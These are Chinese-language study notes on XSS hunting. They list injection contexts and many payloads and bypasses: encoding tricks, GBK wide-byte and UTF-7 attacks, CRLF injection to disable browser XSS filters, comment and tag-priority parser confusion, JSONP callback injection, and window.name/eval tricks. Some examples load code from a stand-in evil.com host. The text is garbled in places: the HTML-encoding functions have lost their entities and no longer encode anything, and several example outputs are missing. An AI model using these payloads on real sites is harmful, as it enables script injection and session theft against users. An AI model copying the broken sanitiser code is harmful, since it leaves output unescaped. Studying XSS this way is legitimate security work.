XSS挖掘
1.一般而言URL的常见组成模式如下:
<schema>://<netloc>//<path>?<query>#<fragment>
比如,一个最普通的URL如下:
http://www.foo.com/path/f.php?id=1&type=cool#new
对应的关系
<schema>--http
<netloc>--www.foo.com
<path>--/path/f.php
<query> - id-1&type=cool
<fragemgment>-new
攻击者可控的输入点有<path>,<query>,<frament>
有以下urlhttp://www.foo.com/xss.php?name='chris';
可以猜测"chris"的位置会在哪里呢?
html标签之间: <div>[输出]</div> --1
html标签之内: <input type="text" value="输出"> --2
javascript代码的值: <script>var a=[输出]</script> --3
id=数字输入
成为CSS代码的值: <style>body{font-size:[输出]px}</style> --4
有以上这么多种的情况,所以我们有以下尝试
<script>alert(1)</script> --->1
a"><script>alert(1)</script>---->2
<img src=# onerror='alert(1)'/>-->1
a"<img src=# onerror='alert(1)'/>-->2
a"</script>alert(1)<script>-->3
' onmouseover=alert(1) x='--->2
javascript:alert(1)-->window.location.href=输出
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==,window.location.href=输出
‘;alert(1)//
20px;xss:expression(alert(1))-->body{height:输出}如果出现在<title>输出</title>中

<html> <head> </head> <body> <script> function HTMLEncode(str) { var s=""; if(str.length==0) { return ""; } s=str.replace(/&/g,"&"); s=s.replace(/</g,"<"); s=s.replace(/>/g,">"); s=s.replace(/\"/g,"""); alert(s); return s; } </script> <input type="button" id="exec_btn" value="exec" onclick="document.write(HTMLEncode('<img src=@ onerror=alert(1) />'))" /> </body> </html>
在用户可控制输入的
<img src=@ onerror = alert(1) /> 这句代码
被HTMLEncode函数转意成了 <img src=@ onerror=alert(1) />
然而
如果用户是这样输入的话
<input type="button" id="exeec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(1) />')" />
是可以弹出窗口的
那么一文就是在先前的例子中HTMLEncode之后,输入的语句被转义成了如下
<img src=@ error=alert(1) />
因此无法正确的执行
可是当输入 < img src=@ onerror=alert(1) 时候确还是可以执行
事实上,在点击下面一个案例的时候,事实上,document.write的值不再是<img src=@ onerror=alert(1) />
而是
<img src=@ onerror=alert(1) />
可以做以下证明
1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 function HTMLEncode(str) 7 { 8 9 var s=""; 10 if(str.length==0) 11 { 12 return ""; 13 } 14 s=str.replace(/&/g,"&"); 15 s=s.replace(/</g,"<"); 16 s=s.replace(/>/g,">"); 17 s=s.replace(/\"/g,"""); 18 alert(s); 19 return s; 20 } 21 </script> 22 <input type="button" id="exec_btn" value="exec" onclick="x='<img src=@ onerror=alert(1) />';alert(x);document.write(x) " /> 23 </body>
原因如下
onclick里的这段js出现在HTML标签内,意味着这里的javascript 可以进行HTML形式的编码,这种编码有以下两种
进制编码:&#xH;(十六进制格式),&#D;(十进制格式);最后的分号(;)可以不要
HTML实体编码:即上面的那个HtmlEncode
htmlAscll码:比如t是116 所以可以script来代替script标签其中最后的;最好还是加上
在javascript执行之前,html形式的编码会自动解码。
这是当用户输入出现在<script>里的Javascript 中,情况会怎样?
我们先看一下
<html> <head> </head> <body> <input type="button" id="exec_btn" value="exec" /> <script> function $(id) { return document.getElementById(id); } $('exec_btn').onclick=function() { document.write('<img src=@ onerror=alert(1) />'); //document.write('<img src=@ onerror=alert(1) />'); }; </script> </body> </html>
这样是可以弹出窗口的,而如果用户输入的是被注释掉的那一段,则不会弹出窗口
这是因为用户输入的这段内容上下文环境是javascript,不是HTML(在这里,我们认为<script>标签与<html>区别很大)
当用户的输入位于<script>标签的时候,这段被输入的内容要遵守的时Javascript法则
具体有如下几种形式。
具体有如下几种形式
Unicode形式:\uH(十六进制)。
普通十六进制:\xH.
纯转义:\‘,\",\<,\>这样在特殊字符之前加\进行转义
有以下代码
<script>
document.write('\<img src\=@ onerror=alert\(1\) \/\>')
</script>
这样是完全可以执行
被html编码的代码如果在 html 标签中会被自动解码
如果被以javascript形式编码的代码 在<script>标签中执行,那么回自动解码
以上在<script>标签的试图通过增加转义符号的防御显得毫无防御意义
同样还有被unicoode转换的
<script> document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0040\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u0020\u0020\u0020\u003e') </script>
通过上面这几个例子,我们可以知道html 中与javascript自动解码的差别
为了深入理解上面的这个例子
我们有以下代码
<html>
<head>
</head>
<body>
<script>
function $(id)
{
return document.getElementById(id);
}
</script>
<textarea id="i1" style="width:600px;height:300px;"></textarea>
<div id="i2" style="width:600px;height:300px;"></div>
<input type="button" id="exec_btn" value="exec" onclick="$('i1').innerHTML='<img src=@ onerror=alert(123) />'; alert ($('i1').innerHTML);" />
<input type="button" id="exec_btn" value="exec2" onclick="$('i2').innerHTML='<img src=@ onerror=alert(123) />'; alert ($('i2').innerHTML);" />
</body>
</html>
其中点击exec_btn按钮后的结果与exec_btn的按钮后的结果并不相同

我们发现即使是位于html标签中,<textarea>标签本身的性质也导致了,它进行了HTMLEncode编码。这是由<textarea>标签本身的性质决定的html在<textarea>中是不解析的,
同理可推这样的标签还有
<title></title>
<iframe></iframe>
<nostricpt></nostricpt>
<noframes></noframes>
这些标签在本章开头部分曾提到过
<xmp></xmp>
<plaintext></plaintext>
<xmp>没有HtmlEncode功能,<plaintext>在Firefox与Chrome下有差异,Firefox下不会进行HtmlEncode编码,而在Chrome下会,这样的差异有时候会导致安全问题

其实也就是当document.write这段js代码生成的被Encode的HTML在<textarea>是无法在<textarea>标签中被解析的所以在执行的时候就无法被自动解码了。
有一个和这个相关的漏洞如下,简叙为
获取textarea标签的innerHTML内容时,内容没有被编码导致安全隐患的产生
有想通过这种方式对html进行htmlEncode
<script>
function htmlencode(s)
{
var html="";
var safenode=document.createElement("textarea");
if(safenode)
{
safenode.innerText=s;
html=safenode.innerHTML;
safenode=null;
}
return html;
}
var tmp="<iframe src=http:/www.4399.com>";
alert(htmlencode(tmp));
</script>
这样一来就可以通过从实际safenode的标签中读取了因为在<textarea>标签中而被htmlEncode
的html代码。
URL编码的差异
浏览器在处理请求时的urlencode策略存在差异,导致在某些场景中出现XSS漏洞,而这种差异性的XSS,除了与浏览器的URLencode策略差异有关,还与服务端代码的实现有关。
有下列存在漏洞的代码
1 <?php 2 echo '<h3>$_SERVER["QUERY_STRING"]</h3>'; 3 echo $_SERVER['QUERY_STRING']; 4 echo ''; 5 echo 'in <input><input type="text" value="'.$_SERVER['QUERY_STRING'].'"/>'; 6 ?>
POC 如下
http://127.0.0.1/xss.php?c="><script>alert(1)</script>
在不同浏览器下效果不同
在firefox下,编码了‘ “ <> 等字符
在Chrome下,编码了" < > 等字符
在IE下,没有编码任何字符,但好像
不仅会导致反射形Xss,还有可能会导致DOM形XSS
比如有以下代码
1 <html> 2 <head> 3 </head> 4 <body> 5 <script> 6 var loc=document.location.href; 7 document.write("<div>"+loc+"</div>"); 8 </script> 9 </body> 10 </html>
在IE11已经被转码,IE5可以执行
Dom挖掘的动态方法
我的理解(不一定正确)
1.针对eval:
比如我从一个输入转来转去最终转到了eval这儿,如果我们的输入和这个eval中输入的相似,就认为存在XSS风险
<script> var _eval=eval; eval=function(x) { if(typeof(x)=="undefined") { return; } if(x.indexOf('domxss')!=-1) { alert('found dom xss'); } _eval(x); }; eval(location.hash.substr(1)); </script>
2.还有一种方法.这是针对innerHTML(打个比方)
像一般产生DomXss的地方可能会有如下JS
x.innerHTML=""
x.value=<script> document.getElementById('xss').__defineSetter__('innerHTML',function(){alert('fuck')}); document.getElementById('xss').innerHTML="Hello World"; </script>
但是这个需要劫持所有的输出点
最后一个是通过dom树的改变进行分析
比如如果有document.write('domxss');
如果有这样一段Js并且成功执行
那么Dom树将会发生变换
如何发现这种变化?
举个栗子吧,就像这样
1 <html> 2 <head> 3 </head> 4 <body> 5 <input type="text" id="xss"/> 6 <input type="button" value="click" onclick=test() /> 7 </body> 8 <script> 9 function test() 10 { 11 var data=document.getElementById("xss").value; 12 document.write(data); 13 if(document.documentElement.innerHTML.indexOf('domxss')!=-1) 14 { 15 alert("found domxss"); 16 } 17 } 18 </script> 19 </body> 20 </html>
静态分析
如果是用静态分析的话,那就是观察输入输出点是否具有一些可疑的函数?
比如eval,innerHTML等
字符集
==========================================================================================
字符缺陷导致XSS
1.字符与字节
肉眼看到的一个文字或字符就是一个字符(包括乱码),一个字符可能对应1~n字节,1字节8位,每一位要么为1要么为0
2.字符集
一个字符对应1~n字节是字符与编码决定的。
3.字符集编码
这些字符集大都对应一种编码方式(比如GBK字符集对应了GBK编码),不过Unicode字符集的编码方式有UTF-8,
UTF-16,UTF-7,常见的UTF-8,与UTF-7
编码的目的是最终将这些字符正确地转换为计算机可以理解的二进制,对应的解码就是将二进制最终解码为人类可读的字符
4.宽字节编码带来的安全问题
GB2312,GBK,GB18030,BIG5,shift_JIS等这些都是常说的宽字节,实际上只有两字节,(还记得宽字节注入么?)
举以下例子
php中有一个magic_quotes_gpc,当它开启的时候i,会将',“这些符号转义,
其中php还有一个函数效果和这个magic_quotes_gpc(魔数变量相同)
addslashes
有以下代码,这个输出点出现在<script>标签中
1 <?php header("Content-Type:text/html;Charset=GBK");?> 2 <head> 3 <title> 4 gb xss 5 </title> 6 </head> 7 <script> 8 a="<?php echo addslashes($_GET['x']);?>"; 9 </script> 10 11 12 >
我们很容易联系到通过"将“闭合,然后写入shellcode
在输入";alert(1)

结果发现双引号被转义了
由于这个网页头部相应指名了这是GBK编码,GBK编码的第一字节(高字节的范围是0x81-0xFE,第二字节的范围是0x40-0x7E与0x80~0xFE这样的十六进制表示
,而\符号的十六进制表示为0x5c,正好在GBK的低字节中,如果之前有一个高字节,那么正好会被组合成一个合法字符
这个发生的条件是浏览器以宽字节编码察看

当输入以上代码之后
实际页面源代码变成了如下

OK,弹出窗口
有一点需要注意,GB2312时被GBK兼容的,他的高位范围是0xA1-0XF7, 低位范围是0xA1~0xFE(0x5C不在该范围内),把上面的PHP代码的GBK改为GB2312,在浏览器处理行为同GBK,也许是由于GBK兼容GB2312,浏览器都作了同样的兼容,把GB2312同一按照GBK行为处理
UTF-7问题
UTF-7时Unicode字符集的一种编码方式,不过并非是标准推荐的,现在仅IE浏览器还支持UTF-7的解析,IE浏览器历史上出现以下好几类UTF7-XSS
1.自动选择UTF-7编码
在IE 6/IE 7时代,如果没有声明HTTP相应头字符集编码方式或者声明错误(比如)
Content-Type:text/html;charset=utf-8//正确的声明字符集编码方式
Content-Type:text/html //未声明字符集的编码方式
Content-Type:text/hrml;charset=uf-8//声明错误的字符集编码方式
同时<meta>http-equiv未指定Charset或指定错误,那么IE浏览器会判断相应内容中是否出现UTF-7编码的字符串
如下
以下php代码,可以用来UTF-7encoding
1 <?php 2 $a=$_GET['input']; 3 echo mb_convert_encoding($a,'UTF-7'); 4 ?>
有以下html代码(经过UTF-7)编码过,将会弹窗
1 <html> 2 <head> 3 <meta http-equiv="Content-type" content="text/html;charset=UTF-7"/> 4 </head> 5 <body> 6 +ADw-script+AD4-alert(1)+ADw-/script+AD4- 7 </body> 8 </html>
1将IE的编码设置为自动选择
2.通过iframe方式调用外部UTF-7编码的HTML文件
通过iframe页面,嵌入被UTF-7编码的子页面,而父页面标明<meta http-equiv="Content-Type:text/html;Charset=Utf-7"/>
3.通过link方式调用外部UTF-7编码的CSS文件
通过<link>标签嵌入外部UTF-7编码的CSS文件,此时副业不需要声明UTF-7编码方式代码如下
1 <html> 2 <head> 3 <title>123</title> 4 <link rel="stylesheet" href="http://www.evil.com/utf7.css" type="text/css"/> 5 </head> 6 <body> 7 </body> 8 </html>
而utf7.css,其中css甚至可以指明为外域
@charset "utf-7";
body+AHs-xss:expression(alert(1))+AH0-
4.通过指定BOM文件头
BOM的全称为Byte Order Mark,即标记字节顺序码,只出现在Unicode字符集中,BOM出现在文件的最开始位置,软件通过识别文件的BOM来判断他的Unicode字符集编码方式,常见的BOM出现在文件的最开始位置,软件通过识别文件的BOM来判断它的Unicode字符集编码方式,例如UTF-7的BOM头就是+/v8
绕过浏览器XSSFilter
目前,主要是IE和Chrome两大浏览器拥有xssFilter,XssFilter主要针对反射型XSS,大体上是采用的都是一种启发式的监测,根据用户提交的参数判断是否是潜在的XSS特征,并重新渲染相应内容保证潜在的XSS特征不会触发。
i.响应头CRLF注入绕过
如果目标网页存在响应头部CRLF注入,在HTTP响应头注入回车换行符,就可以注入头部
在提到crlf注入绕过之前....我们需要先明白什么是crlf注入
事实上crlf注入又称之为http协议头注射
原理
以下情况会出现HTTP协议头注射漏洞
1.数据通过一个不可信赖的数据源进入Web应用程序,应用程序必须允许将那些包含CR(回车,由或r指定)和LF(换行,由或n指定)的字符输入
到头文件中
举个例子,如果跳转目标站点可控制
比如说代码是这样写的
<?php
header(location=$_GET['input'])
?>
尝试通过以下方式进行CRLF注入
在php之后的版本header()禁止了多个相应请求头
当可以进行注入的时候可以在URL后接上如下连接(%0d%0aX-XSS-protection:%20%200)
ii.针对同域的白名单
1. IE的同域白名单
IE会判断Refer来源是否是本域
如果是,则XSS Filter不生效
在IE11试验
xss.html
<html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"/> </head> <body> <a href="vul.php?a=<script>alert(1)</script>">xxxxxxxxxxxxxx</a> </body> </html>
vul.php
<?php echo $_GET['a']; ?>
IE11下如果直接访问vul.php?a=<script>alert(1)</script>
IE11 下如果通过xss.html的<a>标签访问的话,并不会被过滤
事实上,如果是通过<iframe>嵌入的话,仍然可以逃脱XSSfilter
2.Chrome的同域白名单,
Chrome的同域机制和IE完全不一样,用法如下
结果是这样,当跨域引用js时
场景依赖性高的绕过
1.有以下Xss代码
<?php $a=$_GET['a']; ?> <script> var a='<?php echo $a;?>' </script>
试图通过a=';alert(1)注入,该情况能够绕过Chrome,却无法绕过IE
2.
需对比一下代码
<?php echo $_GET['x']; ?>
<?php echo addslashes($_GET['x']); ?>
对于下面一种
如果构造以下输入可以绕过IE的XSSFilter
构造以下URL
http://127.0.0.1/vul.php?x=<script%20%00%00%00>alert(1)</script>
原因是%00会被PHP转义为\0,IEXSS Filter因此被绕过
<script \0\0\0>alert(1)</script>
可以成功执行
代码混淆
浏览器的进制常识
首先,在浏览器中常用的进制混淆有八进制,十进制,和十六进制
1.我们常常会在HTML的属性中用到十进制和十六进制。十进制在HTML中可使用
8来表示,用&#作为前缀,
中间为十进制数字,使用半角分号;作为后缀,其中后缀也可以没有
若为16进制则中间要多一个x
2.在CSS的属性中,我们也只能用到十进制和十六进制,CSS兼容HTML中的进制表示形式除此之外,十六进制还可以使用\6c的形式来表示
3.在javascript中可以直接通过eval执行的字符串有八进制和十六进制两种编码方式,其中
八进制用\56表示,十六进制用\x5c表示,需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字,韩文等),如果代码中应用了汉字并且需要进行 进制编码,那么只能进行十六进制Unicode编码
比如说是这样
eval(alert('\u4ee3\u7801'))
4.这里有一个用js编写的加密解密的小工具
1 <html> 2 <head> 3 </head> 4 <body> 5 <input type="text" value=""/> 6 <script> 7 var code={} 8 code.encode=function(str,jinzhi,left,right,digit) 9 { 10 11 left=left||""; 12 right=right||""; 13 digit=digit||0; 14 var ret=""; 15 bu=0; 16 for(var i=0;i<str.length;i++) 17 { 18 s=str.charCodeAt(i).toString(jinzhi); 19 bu=digit-String(s).length+1; 20 21 if(bu<1) 22 { 23 bu=0; 24 } 25 26 var add=left + new Array(bu).join("0") + s + right; 27 ret+=add; 28 } 29 return ret; 30 }; 31 code.decode=function(str,jinzhi,for_split,for_replace) 32 { 33 if(for_replace) 34 { 35 var re=new RegExp(for_replace,"g"); 36 str=str.replace(re,''); 37 } 38 var arr_s=str.split(for_split); 39 var ret=''; 40 for(i=0;i<arr_s.length;i++) 41 { 42 ret+=String.fromCharCode(parseInt(arr_s[i]),jinzhi); 43 } 44 return ret; 45 } 46 (code.encode("Hello",16,'&#x',';',4)) 47 </script> 48 </body> 49 </html>
代码中建立了code对象,并为其添加了encode和decode方法,
其中encode方法有以下5个参数。
str:需要进行编码的字符
jinzhi:需要编码到的目标进制
left:编码数值的前缀
right:编码数值的后缀
digit:数值位数,补0bu
其中decode方法拥有以下4个参数
str:需要进行解码的数值串
jinzhi:原数值串的编码进制
for_split:以某个字符作为分隔符。
for_replace:需要删除的多余字符
这里需要注意的是,如果使用\62\61形式进行十六进制编码,那么要注意将CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。
再看看javascript中字符串的进制用法,假设原始语句如下
<script>eval("alert('你好')")</script>
<script>eval();</script>
eval("\141\154\145\162\164\50\47\u4f60\u597d\47\51");
其中,中文部分一定要使用Unicode形式,即\u加上汉字的十六进制编码
浏览器的编码常识
在Javascript中,有三套编/解码的函数
分别为
escape/unescape
encodeURI/decodeURI
encodeURIComponent/decodeURIComponent
普通的escape无法对一些字符进行编码
有以下代码
<script> var exEscape=function(str) { var _a,_b; var _c=""; var ret=""; for(var i=0;i<str.length;i++) { _a=str.charCodeAt(i); _b=_a<256?"%":"%u"; _h=_a<16?"%0":_b; _c+=_b+_a.toString(16).toLowerCase(); } return _c; } alert(exEscape("alert(1)")); </script>
这个ExEscape意思大概是
对于unicode>256 前面需要加一个%u
<16的前面需要加一个0因为后面要转化成为16进制
而对于普通的,位于16到256之间的,就是%(unicode16进制)
HTML中的代码注入技巧
1.标签
由于HTML语言的松散性和各标签的不同优先级,可以创造出很多代码混淆绕过方式,如HTML标签时不区分大小写的,
可以<script></script>也可以全部大写或者大小写混合
黑名单的过滤总会留下之鱼
<meta http-equiv="refresh" content="0;url='javascript:alert(1)'" />似乎这个并不能成功
<isindex prompt="click picture" action="javascript:alert(1)" src="127.0.0.1/1.jpg" style="width:200;height:200" type="image" />当点击的时候会执行javascript协议
<bgsound src="javascript:alert(1)" />这个似乎也测试不成功
有些过滤器很强大,会判断当前代码是否存在于注释中,如果是注释,则忽略,这样做是为了维持用户数据的最大完整性,但却给了攻击者可乘之机,
比如说写入%0d%0a 回车换行符,或是像如下代码
<html>
<head>
</head>
<body>
<!--aaa<!--aaa--><script>alert(1)</script>-->
</html>
表面生那个而言该串字符的确在<!--与-->之间,但是由于其中又夹了一个--> 另外一些HTMLParser不关心是否有注释,只关心HTML标签,属性,属性值,比如标签是否有<script>,属性是否是Javascript事件,属性值是否是伪协议等,对于这种过滤方法,我们可以采用以下方式突破
<!--<a href="--><img src=@ onerror=alert(1) //">test</a>
如果扫描器忽略了HTML注释后,会认为这段是一个完整的HTML语句
<a href="--><img src=@ onerror=alert(1) //">test</a>
于此同时--><img src=@ onerror=alert(1) //会被认为是一个属性值而放行,
另外还有一种特殊的注释:IE HTML 条件控制语句
<!--[if ie]><script>alert(1)</script><![end if]-->
<!--[if ie 6]><script>alert(1)</script><![end if]-->
<!--[if lt ie 6]><script>alert(1)</script><![end if]-->
这是IE所独有的,在其他浏览器看来与普通注释无异,但是在IE看来确实依据条件执行的,这给攻击者提供了可乘之机,以下语句
亦可
<!--[if]><script>alert(1)</script -->
<!--[if<img src=@ onerror=alert(1) //]>-->
在HTML语法中有标签优先级的概念,有些标签如<textarea>,<title>,<style>,<script>,<xmp>等具有非常高的优先级,使得其结束标签甚至可以直接中断其他标签属性:
<title><a href="</title><img src=@ onerror= alert(1) //">test</a> 这段有争议的代码既可以理解为</title><img src=@ onerror=alert(1)//">为其的href指向地址,又可以理解为<a href=" >是被title标签的 夹着的标题时
此时<title>标签优先级高,所以按照第二种理解
以下这种亦是如此
<style><a href="</style><img src=@ onerror = alert(1) >"></a>
当然,如果是基于黑名单的过滤方式,将这些标签都过滤了
前三个可以在ff和webkit中执行,最后一个可以在IE中执行
1 <? foo="><script>alert(1)</script>">
2 <! foo="><script>alert(1)</script>">
3 </ foo="><script>alert(1)</script>">
4 <% foo="><script>alert(1)</script>">
二.属性 与标签相似,HTML标签中的属性同样也是大小写不敏感的,并且属性值可以用双引号引起来,也可以使用单引号,甚至不用引号在HTML语法上也是正确的,而且在IE下面还可以用反引号来包括属性值,
此外,标签和属性之间,属姓名和等号之间,等号和属性值之间,等号和属性值之间也可以使用空格,换行符,回车符,或者tab等,并且个数不受限制,
<html>
<head>
</head>
<body>
<img
src
=x
onerror=
"alert(1)" />
</body>
</html>
这样的混淆方法是可以在各大浏览器上执行的。另外,我们还可以在属性值的头部和尾部(引号里面)插入系统控制字符,即ASCLL值为1-32这32个控制字符,不同的浏览器都有各自的处理方式,如下语句 <a  href=" javascript:alert(1)">test</a>
是可以在IE,Firefox,Chrome下执行的
但语句
<a  href=" javascript:alert(1)">test</a>
试了下,貌似只能在ie上运行?
总结:当利用反射型XSS漏洞时,有时输出的变量会出现在HTML文本里,利用起来相对容易;有时则会出现在属性值中,我们应想办法先闭合这个属性值,然后要么干脆接着闭合当前标签,要么设置一个可触发事件或自动触发事件来执行插入的脚本
分几种情况进行讨论
1.属性值没有用引号
<img src=<?php echo $_GET['x'];?> />---->访问以下url
http://127.0.0.1/vul.php?x=x%20onerror=alert(1)
2.属性值里有引号
<img src=“<?php echo $_GET['x'];?> />”---->
我们当然可以考虑使用javascript伪协议,或是data协议如果想要通过上面那种方式,可以先通过"闭合前面的双引号,
但是如果此时连引号都过滤了双引号,或者做了HTMLEncode转义,那么既没有XSS安全隐患,也没有可以利用的方式不过目前
有两个特例
<img src="x` `<script>alert(1)</script>">在IE6下可进行
<img src=" alr=" onerror=alert(1) //">其中src="这个双引号可有可无
1 <body> 2 <script> 3 function abc(a) 4 { 5 alert(a); 6 } 7 </script> 8 <a href='#' onclick=abc('<?php echo $_GET['a'];?>')>test</a> 9 </body>
在以上代码中
可以通过访问以下url
http://127.0.0.1/xss.php?a=x');alert(1);//
或是访问以下URL
127.0.0.1/xss.php?a=',alert(1),'
都可以执行
当然这样也可以
<a href='#' onclick="abc('',alert(1),'')">xxxxxxxx</a>
这段代码依旧是可以执行的,
对于资源类属性,我们可以理解为属性值需要为URL的属性,通常,属性名都为src或href.这类属性一般都支持浏览器的预订义协议,包括:http:,ftp:file,https:,javascript:。vbsrcript:mailto:data:等,在这些协议中
举以下例子来利用伪协议
<a href="javascript:alert(1)">test</a>
<img src="javascript:alert(1) " />这个似乎只能在IE6下触发?
<iframe src="javascript:alert(1)" />
除了这个javscript伪协议,还有vbscr伪协议,可以简写为vbs,但是vb协议都只能在ie下执行,同时IE还不支持data协议
我们可以先进行HTMLEncode编码
<iframe src="javascript:alert("XSS")"></iframe>
另外还有几个不常用的属性也支持伪协议
<img dynsrc="javascript:alert(1)" />
<img lowsrc="javascript:alert(2)"/> 以上这两种方式都在IE5下可以执行
<isindex action=javascript:alert(1) type="image" />
有时在过滤器仅过滤了src和href中的伪协议时,我们可以用这种属性绕过。
<input type="image" src="javascript:alert(1)" />
这种方式可以在IE5下执行
事件属性
如果我们想直掉对方的过滤器过滤了哪些属性,如果对方采取的是黑名单
那么我们就用on****去试探
如果连onabcd这种假事件都被过滤了,那么服务器很可能使用了白名单过滤机制
我们可以采取属性之间相互配合
<input onfocus="alert(1)" autofocus>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
di+AHYAIAB7AHgAcwBzADo-e+AHgAcABy-e+AHMAcw-i+AG8-n+ACgAYQBs-e+AHIAdAAoADEAKQApAH0-
di+AHYAIAB7AHgAcwBzADo-e+AHgAcABy-e+AHMAcw-i+AG8-n+ACgAYQBs-e+AHIAdAAoADEAKQApAH0-
<html> <head> </head> <body> <script> var a="<?php echo $_GET['x'];?>"; </script> </body> </html>
对于以上代码,我们构造以下url
http://127.0.0.1/xss.php?a=123";alert(1);b="
a变量被闭合,alert(1)得以逃逸,而b变量的存在是为了使语法正确,当然我们也可以输入注释符//来忽略掉后面的错误语法
然而想试图通过这种方法注入并不是十分简单
比如我们会发现对方站点会给userinput试用了addslashes
构成了以下代码
<script>
var a="123</script><script>alert(1);</script>";
</script>
这是因为</script>无论在何处都可以闭合标签
1.JSON
随着AJAX技术以及Web2.0的发展,JSON逐渐成为一种更通用的数据交换格式,JSON大体上有两种格式,没有callback函数名的裸OBJECT
形式和有callback函数名调用object的形式,格式如下
[{“a”:“b”}]
callback([“a”:"b"])
后者的存在主要是为了跨域数据传输的需要,而这个特性通常也成了攻击者跨域获取用户隐私数据的重要渠道(JSON HiJacking。)另外,一些应用为了维持数据接口的定制性,通常会让数据请求方在请求参数中提供callback函数名,而不是由数据提供方定制,如请求方发起请求:
get_json.php?id=123&call_back=some_function
数据方提供数据的callback格式为
some_function([{'id':123,data:'some_data'}]);
这里需要注意的是,如果提供方没有对callback函数名作安全过滤,并且页面本身也没有对HTTP响应头的Content-Type做限制,那么我们便直接对
callback参数进行利用,输入xss代码,如
get_json.php?id=123&call_back=<script>alert(1);</script>
那么数据提供方返回的数据就会成为如下形式,
<script>alert(1);</script>([{'id':'123','data':'some_data'}];
由于页面是可访问的,而且如前面所说,页面本身有没有对Contnet-Type头作限制,浏览器默认就会当成HTML解析,使得
我们的XSS代码能够正常执行。
当然程序员也不会这么傻,他们会过滤掉"<>"这两个字符,可是结合我们之前的添加UTF-7BOM头,从而绕过。
当然,有一部分数据提供方采取了另一种巧妙的防御策略:给JSON数据页面的相应头设置Content-Type,来使访问该页面时以下载的方式呈现,而不是HTML的方式呈现。对于这种方式,我们依然有两种方式,可以绕过
方式一
看提供方的Content-Type设计得够不够好,有些提供方设置的是"text/javascript",这种type在IE下是有效的,但是在Firefox下,是可以执行的
这里有个问题,编写相应的客户端文件类型?
有些提供方设置的是"text/plain",这是在firefox下是有效的,但是在IE下却会执行。
有些甚至把Content-Type设置成ZIP的头"application/x-zip-compressed",这种Content-Type对于 “http://test/test.php?xss=123” 请求的确是有效的,但是对于http://test/test/php?xss=<script>alert(1)</script>请求,在IE下却会失效。
分析几个MIME类型
application/x-zip-compressed是一个压缩包
text/plain显示的是一个源代码
方式二
方式二主要利用IE浏览器确定文件类型时不完全依赖Content-Type的特性,有时,如果我们直接增加一个URL参数为a.html,IE会认为这是一个HTML文件而忽略Content-Type,使用html来解析文件,foo.cgi?id=123&a.html
foo/?id=123&a.html
foo.php/a.html?id=123(apache服务器会忽略掉/a.html去请求foo.php)
2.Javascript中的代码混淆
1.当代码被作了htmlencode过滤时,我们可以这样,eval(StringfromCharCode来执行)
如果对输入的内容有字数限制,我们甚至可以输入eval(name)来做执行入口
被攻击
<html> <head> <meta http-equiv="Content-type" content="application/plain" /> </head> <body> <script> eval(window.name); </script> </body> </html>
攻击者在自己的网站
<html> <head> </head> <body> <script> window.name="alert(1)"; location.href="http://www.evil.com/test.html"; </script> </body> </html>
除了以上那种限制之外,还有一种可能,就是没有限制自述,却过滤了大部分函数
如eval,alert,如我们可以用(0)['constructor']['constructor']来代替eval,试了一下,似乎(0)[‘constructor’]也可以 !!!但是暂时还不知道原因
当然,我们还可以通过Flash来绕过过滤器和隐藏我们的脚本内容:
<embed allowscriptaccess="always" src="http://www.attack.swf" />
突破URL过滤
有的时候,再注入URL时,可以参考如下一些技巧来绕过过滤,服务器试图通过正则或一些匹配来防止我们输入指定URL
比如说正常<a href="http://66.102.7.147">xss</a>
我们可以通过以下几种方式进行逃逸
1.URL编码
2.进制转换,比如前面的66可以换成如下

3.在其中添加	(空格)
4.去掉http://标签

浙公网安备 33010602011771号